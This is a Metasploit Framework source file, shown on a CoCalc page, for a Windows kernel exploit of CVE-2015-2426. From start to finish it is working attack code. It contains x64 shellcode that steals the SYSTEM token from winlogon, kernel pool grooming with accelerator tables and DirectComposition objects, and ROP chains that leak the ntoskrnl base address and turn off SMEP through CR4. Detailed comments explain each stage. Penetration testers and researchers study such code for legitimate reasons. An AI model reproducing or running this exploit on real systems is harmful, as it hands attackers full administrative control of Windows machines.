CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp
Views: 11789
1
#include <Windows.h>
2
#include "Exploiter.h"
3
4
static const int AccelArrayBase = 0x43000000;
5
static const int HwndArrayBase = 0x44000000;
6
static const int DcomArrayBase = 0x41000000;
7
static const int PayloadBase = 0x42000000;
8
// Not using const to make the compiler to store
9
// the variables in .data
10
static ULONGLONG win32kPopRaxRet = 0xdeedbeefdeedbe01;
11
static ULONGLONG win32kXchgRaxRsp = 0xdeedbeefdeedbe02;
12
static ULONGLONG win32kExAllocatePoolWithTag = 0xdeedbeefdeedbe03;
13
static ULONGLONG win32kPopRcxRet = 0xdeedbeefdeedbe04;
14
static ULONGLONG win32kDefRaxIntoRcx = 0xdeedbeefdeedbe05;
15
static ULONGLONG win32kWriteRaxIntoRcx = 0xdeedbeefdeedbe06;
16
static ULONGLONG win32kPopRbxRet = 0xdeedbeefdeedbe07;
17
static ULONGLONG win32kRet = 0xdeedbeefdeedbe08;
18
static ULONGLONG win32kMovRaxR11Ret = 0xdeedbeefdeedbe09;
19
static ULONGLONG win32kAddRaxRcxRet = 0xdeedbeefdeedbe0a;
20
static ULONGLONG win32kPopEspRet = 0xdeedbeefdeedbe0b;
21
static ULONGLONG win32kXchgRaxRspAdjust = 0xdeedbeefdeedbe0c;
22
static ULONGLONG win32kCHwndDelete = 0xdeedbeefdeedbe0d;
23
static ULONGLONG ntSetCr4 = 0xdeedbeefdeedbe0e;
24
static ULONGLONG ntExAllocatePoolWithTag = 0xdeedbeefdeedbe0f;
25
26
typedef NTSTATUS(__stdcall *FuncCreateDCompositionHwndTarget) (
27
_In_ HANDLE hWnd,
28
_In_ DWORD dwNum,
29
_Out_ ULONGLONG pMem
30
);
31
32
typedef NTSTATUS(__stdcall *FuncDestroyDCompositionHwndTarget) (
33
_In_ HANDLE hWnd,
34
_In_ DWORD dwNum
35
);
36
37
typedef LRESULT(WINAPI *FuncDefWindowProcA) (
38
_In_ HWND hWnd,
39
_In_ UINT Msg,
40
_In_ WPARAM wParam,
41
_In_ LPARAM lParam
42
);
43
44
static CHAR sc[] = {
45
'\x4D', '\x8B', '\xBB', '\x68', '\x01', '\x00', '\x00', // mov r15, [r11+0x168], save return address of kernel stack
46
'\x41', '\x51', // push r9 save regs
47
'\x41', '\x52', // push r10
48
'\x65', '\x4C', '\x8B', '\x0C', '\x25', '\x88', '\x01', '\x00', '\x00', // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB)
49
'\x4D', '\x8B', '\x89', '\xB8', '\x00', '\x00', '\x00', // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD
50
'\x4D', '\x89', '\xCA', // mov r10, r9 save current eprocess
51
'\x4D', '\x8B', '\x89', '\x40', '\x02', '\x00', '\x00', // mov r9, [r9+0x240] $a, get blink
52
'\x49', '\x81', '\xE9', '\x38', '\x02', '\x00', '\x00', // sub r9, 0x238 => _KPROCESS
53
'\x41', '\x81', '\xB9', '\x38', '\x04', '\x00', '\x00', '\x77', '\x69', '\x6E', '\x6C', // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with 'winl' (winlogon)
54
'\x75', '\xe5', // jnz $a no? then keep searching!
55
'\x4D', '\x8B', '\xA1', '\xE0', '\x02', '\x00', '\x00', // mov r12, [r9+0x2e0] get pid
56
'\x48', '\xC7', '\xC0', '\x00', '\x10', '\x00', '\x42', // mov rax, 0x42001000
57
'\x4C', '\x89', '\x20', // mov [rax], r12 save pid for use later
58
'\x4D', '\x8B', '\x89', '\x48', '\x03', '\x00', '\x00', // mov r9, [r9+0x348] get token
59
'\x49', '\x83', '\xE1', '\xF0', // and r9, 0xfffffffffffffff0 get SYSTEM token's address
60
'\x49', '\x83', '\x41', '\xD0', '\x0A', // add [r9-0x30], 0x10 increment SYSTEM token's reference count by 0x10
61
'\x4D', '\x89', '\x8A', '\x48', '\x03', '\x00', '\x00', // mov [r10+0x348], r9 replace our token with system token
62
'\x41', '\x5A', // pop r10 restore regs
63
'\x41', '\x59', // pop r9
64
'\x41', '\x53', // push r11, pointer near to original stack
65
'\x5C', // pop rsp
66
'\x48', '\x83', '\xec', '\x28', // sub rsp, 0x28, restore original kernel rsp
67
'\xFF', '\x24', '\x25', '\x70', '\x50', '\x00', '\x42', // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void)
68
0
69
};
70
static HWND *pHwnds = NULL;
71
static HACCEL *pAccels = NULL;
72
static FuncCreateDCompositionHwndTarget MyCreateDCompositionHwndTarget = NULL;
73
static FuncDestroyDCompositionHwndTarget MyDestroyDCompositionHwndTarget = NULL;
74
75
76
// WndProc is a callback function that is needed when creating a window.
77
// It does nothing of consequence. However, the exploit relies on overriding
78
// a suitable object (`CreateDCompositionHwndTarget`), which requires a
79
// window. Hence we need to create windows.
80
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
81
FuncDefWindowProcA MyDefWindowProcA;
82
ULONGLONG pMyDefWindowProcA;
83
84
pMyDefWindowProcA = *(ULONGLONG *)(PayloadBase + 0x1950);
85
MyDefWindowProcA = (FuncDefWindowProcA)pMyDefWindowProcA;
86
return MyDefWindowProcA(hwnd, msg, wParam, lParam);
87
}
88
89
VOID ExploiterInit() {
90
LoadLibrary("USER32.dll");
91
HMODULE user32 = GetModuleHandle("USER32.dll");
92
MyCreateDCompositionHwndTarget = (FuncCreateDCompositionHwndTarget)GetProcAddress(user32, "CreateDCompositionHwndTarget");
93
MyDestroyDCompositionHwndTarget = (FuncDestroyDCompositionHwndTarget)GetProcAddress(user32, "DestroyDCompositionHwndTarget");
94
// Allocate memory regions that we use to store various data.
95
VirtualAlloc((LPVOID)DcomArrayBase, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
96
VirtualAlloc((LPVOID)PayloadBase, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
97
SecureZeroMemory((LPVOID)PayloadBase, 0x10000);
98
memcpy((LPVOID)PayloadBase, sc, sizeof(sc));
99
100
// Save the function pointer of DefWindowProcA globally while we are still in user-mode.
101
// The callback (WndProc) that runs in kernel mode later cannot call `GetProcAddressWithHash`
102
// any more. Hence, we store this first, so that WndProc can access it directly later.
103
ULONGLONG *pDefWindowProcA = (ULONGLONG *)(PayloadBase + 0x1950);
104
*pDefWindowProcA = (ULONGLONG)GetProcAddress(user32, "DefWindowProcA"); // ntdll's DefWindowProcA's hash
105
}
106
107
VOID ExploiterDoFengShui() {
108
HINSTANCE hThisInstance;
109
ATOM classAtom;
110
WNDCLASSEXA windowClass;
111
HWND hWnd;
112
HACCEL hAccel;
113
LPACCEL lpAccel;
114
// Strings needed.
115
CHAR winClass[] = { 'w', 'i', 'n', 'c', 'l', 's', '0', '0', '0', '0', 0 };
116
CHAR winClassFmt[] = { 'w', 'i', 'n', 'c', 'l', 's', '%', '0', '4', 'x', 0 };
117
CHAR winTitle[] = { 'w', 'i', 'n', 't', 'i', 't', '0', '0', '0', '0', 0 };
118
CHAR winTitleFmt[] = { 'w', 'i', 'n', 't', 'i', 't', '%', '0', '4', 'x', 0 };
119
120
// Initial setup for pool fengshui.
121
lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
122
SecureZeroMemory(lpAccel, sizeof(ACCEL));
123
124
// Create many accelerator tables, and store them.
125
pAccels = (HACCEL *)VirtualAlloc((LPVOID)(AccelArrayBase), sizeof(HACCEL)* 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
126
for (INT i = 0; i < 5000; i++) {
127
hAccel = CreateAcceleratorTableA(lpAccel, 1);
128
pAccels[i] = hAccel;
129
}
130
131
// Create window handles, and store them.
132
pHwnds = (HWND *)VirtualAlloc((LPVOID)(HwndArrayBase), sizeof(HWND)* 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
133
hThisInstance = GetModuleHandleA(NULL);
134
for (INT i = 0; i < 1000; i++) {
135
SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA));
136
wsprintfA(winClass, winClassFmt, i);
137
wsprintfA(winTitle, winTitleFmt, i);
138
139
windowClass.cbSize = sizeof(WNDCLASSEXA);
140
windowClass.style = CS_HREDRAW | CS_VREDRAW;
141
windowClass.lpfnWndProc = (WNDPROC)WndProc;
142
windowClass.hInstance = hThisInstance;
143
windowClass.hIcon = NULL;
144
windowClass.hCursor = NULL;
145
windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW;
146
windowClass.lpszMenuName = NULL;
147
windowClass.lpszClassName = winClass;
148
classAtom = RegisterClassExA(&windowClass);
149
hWnd = CreateWindowEx(0, MAKEINTATOM(classAtom), winTitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL);
150
151
if (hWnd) {
152
pHwnds[i] = hWnd;
153
}
154
else {
155
break;
156
}
157
}
158
159
// Create holes in the series of accelerator tables.
160
for (INT i = 3600; i < 4600; i += 2) {
161
DestroyAcceleratorTable(pAccels[i]);
162
}
163
164
// Fill the holes with with DCompositionHwndTarget(s).
165
// (at this point we have a series of alternating DCompositionHwndTarget objects)
166
for (INT i = 0; i < 500; i++) {
167
MyCreateDCompositionHwndTarget(pHwnds[i], 0, DcomArrayBase + i * 4);
168
}
169
170
// Create "adjacent" holes (to the previous holes) in the series of
171
// accelerator tables.
172
for (INT i = 3601; i < 4601; i += 2) {
173
DestroyAcceleratorTable(pAccels[i]);
174
}
175
176
// Fill the holes with with DCompositionHwndTarget(s).
177
// (at this point we have a contiguous series of DCompositionHwndTarget objects)
178
for (INT i = 500; i < 1000; i++) {
179
MyCreateDCompositionHwndTarget(pHwnds[i], 0, DcomArrayBase + i * 4);
180
}
181
182
// Create some holes in the contiguous series of DCompositionHwndTarget objects,
183
// that we insert the vulnerable object into.
184
for (INT i = 400; i < 405; i++) {
185
MyDestroyDCompositionHwndTarget(pHwnds[i], 0);
186
}
187
}
188
189
// Clean up for the heap fengshui performed earlier (for cleanliness, reliability).
190
VOID ExpoiterCleanUp() {
191
for (INT i = 0; i < 5000; i++) {
192
DestroyAcceleratorTable(pAccels[i]);
193
}
194
}
195
196
// Setup stack pivot and adjustment, also the ROP chain 1 to etrieve base address
197
// of `ntoskrnl`.
198
VOID ExploiterSetupFirstChain(ULONGLONG win32kBaseAddr) {
199
// Stack pivot and adjustment.
200
//
201
// IMPORTANT NOTE.
202
//
203
// This vTable is actually accessed twice as part of the code flow.
204
// The first access is to the 2nd method in the vTable, at [RAX+8] (*).
205
// The second access is to the 1st method in the vTable, at [RAX] (**).
206
//
207
// (*) First access
208
//
209
// As mentioned, in the code flow, there is a CALL [RAX+8], where RAX is the
210
// address of the fake vTable (0x42005000).
211
//
212
// The call places us at [0x42005000+8], which is the xchg instruction
213
// (stack pivot). At this point after the xchg, RSP is pointing to 0x42005000.
214
// The next instruction of the gadget is RET, which will exec. POP RAX.
215
// This sequence (RET + POP) shifts RSP by a total of 16 bytes, which is the
216
// start of ROP chain 1.
217
//
218
*(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret <-- RAX
219
*(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + win32kXchgRaxRsp; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to.
220
//
221
// --- End stack pivot and adjustment ---
222
223
// ROP chain 1: Retrieve base address of `ntoskrnl`.
224
//
225
// When ROP chain 1 exits, RBX will hold the address of the our
226
// (fake) vTable. And 0x42000100 will hold the (leaked) address of
227
// `ntoskrnl!ExAllocatePoolWithTag`.
228
//
229
*(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret (RAX is source for our write)
230
*(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + win32kExAllocatePoolWithTag; // pop into rax (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports)
231
*(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret (RCX is destination for our write)
232
*(ULONGLONG *)(PayloadBase + 0x5028) = PayloadBase + 0x100; // pop into rcx (memory to write leaked address)
233
*(ULONGLONG *)(PayloadBase + 0x5030) = win32kBaseAddr + win32kDefRaxIntoRcx; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX])
234
235
// (**) Second access
236
//
237
// The second time the vTable is accessed (described above), it will
238
// try to execute `POP RAX # RET`, which is undesirable. Hence, as part of
239
// the *first* ROP chain, we override the vTable again, so that the second
240
// access to it will be okay.
241
//
242
// When the code flow resumes after ROP chain 1 ends, the code will
243
// use *RBX for its second access to the vTable. Hence, we want to
244
// place our own value into RBX. Therefore, we `POP RBX`, which places
245
// 0x42005100 into RBX. 0x42005100 is yet another (unused) memory
246
// region that we control. We will construct a new fake vTable at 0x42005100.
247
//
248
*(ULONGLONG *)(PayloadBase + 0x5038) = win32kBaseAddr + win32kPopRbxRet; // pop rbx # ret
249
*(ULONGLONG *)(PayloadBase + 0x5040) = PayloadBase + 0x5100; // this will clobber the existing vTable object pointer (RBX) -------------------------------
250
// |
251
// Setup the new fake vTable at 0x42005100. We don't do anything interesting |
252
// with the second call. We just want it to return nicely. |
253
*(ULONGLONG *)(PayloadBase + 0x5100) = PayloadBase + 0x5110; // double-dereference to get to gadget (actual ROP chain |
254
*(ULONGLONG *)(PayloadBase + 0x5108) = PayloadBase + 0x5110; // (arbitrary pointer to pointer) continues here) |
255
*(ULONGLONG *)(PayloadBase + 0x5110) = win32kBaseAddr + win32kRet; // (`RET` gadget) |
256
// |
257
// Resume execution. Restore original stack pointer. |
258
*(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + win32kMovRaxR11Ret; // mov rax, r11 # ret (register holding a value close to original stack pointer) <-
259
*(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret
260
*(ULONGLONG *)(PayloadBase + 0x5058) = 0x8; // pop into rcx
261
*(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + win32kAddRaxRcxRet; // add rax, rcx # ret (adjust the stack pointer)
262
*(ULONGLONG *)(PayloadBase + 0x5068) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret
263
*(ULONGLONG *)(PayloadBase + 0x5070) = PayloadBase + 0x5088; // pop into rcx
264
*(ULONGLONG *)(PayloadBase + 0x5078) = win32kBaseAddr + win32kWriteRaxIntoRcx; // mov [rcx], rax # ret (write gadget to [RCX])--
265
*(ULONGLONG *)(PayloadBase + 0x5080) = win32kBaseAddr + win32kPopEspRet; // pop rsp # ret |
266
//*(ULONGLONG *)(PayloadBase + 0x5088) <----------------------------------------------------------------------------------------
267
}
268
269
// Setup the ROP chain 2, Disable SMEP and return to token stealing shellcode.
270
// Now we reset the values in our fake vTable (0x42005000), with a new
271
// ROP chain. This gets called later in the second trigger.
272
VOID ExploiterSetupSecondChain(ULONGLONG win32kBaseAddr, ULONGLONG ntBaseAddr) {
273
*(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + win32kXchgRaxRspAdjust; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret
274
*(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + win32kRet; // filler
275
*(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + win32kRet; // filler
276
*(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + win32kRet; // filler
277
*(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + win32kRet; // filler
278
*(ULONGLONG *)(PayloadBase + 0x5028) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret
279
*(ULONGLONG *)(PayloadBase + 0x5030) = 0x406f8; // pop into rax, cr4 value
280
*(ULONGLONG *)(PayloadBase + 0x5038) = ntBaseAddr + ntSetCr4; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget)
281
*(ULONGLONG *)(PayloadBase + 0x5040) = win32kBaseAddr + win32kRet; // filler
282
*(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + win32kRet; // filler
283
*(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + win32kRet; // filler
284
*(ULONGLONG *)(PayloadBase + 0x5058) = win32kBaseAddr + win32kRet; // filler
285
*(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + win32kRet; // filler
286
*(ULONGLONG *)(PayloadBase + 0x5068) = PayloadBase; // return to userland and win!
287
*(ULONGLONG *)(PayloadBase + 0x5070) = win32kBaseAddr + win32kCHwndDelete; // CHwndTargetProp::Delete(void)
288
}
289
290
// First trigger (ROP chain 1)
291
//
292
// When `DestroyDCompositionHwndTarget` is called, it will destroy the object
293
// by calling its destructor, which will make use of the overwritten vTable
294
// pointer. This, we abuse, to call ROP chain 1. ROP chain 1 leaks the address
295
// of `ntoskrnl!ExAllocatePoolWithTag`.
296
VOID ExploiterRunFirstChain() {
297
for (INT i = 0; i < 1000; i++) {
298
MyDestroyDCompositionHwndTarget(pHwnds[i], 0);
299
}
300
}
301
302
// Second trigger (ROP chain 2)
303
//
304
// When `DestroyWindow` is called, it will attempt to find any dangling
305
// references to the window. Because the "first trigger" did not properly
306
// destroy the `DCompositionHwndTarget` object (which has a reference to
307
// the window), `DestroyWindow` will try, again, to call the destructor
308
// for the `DCompositionHwndTarget` object. Hence, the same destructor is
309
// called. But because we have already re-setup the vTable, it calls
310
// ROP chain 2.
311
VOID ExploiterRunSecondChain() {
312
for (INT i = 0; i < 1000; i++) {
313
DestroyWindow(pHwnds[i]);
314
}
315
}
316
317
// Compute actual base address of `ntoskrnl` from `ntoskrnl!ExAllocatePoolWithTag`.
318
ULONGLONG ExploiterGetNtBase() {
319
return *(ULONGLONG *)(PayloadBase + 0x100) - ntExAllocatePoolWithTag;
320
}
321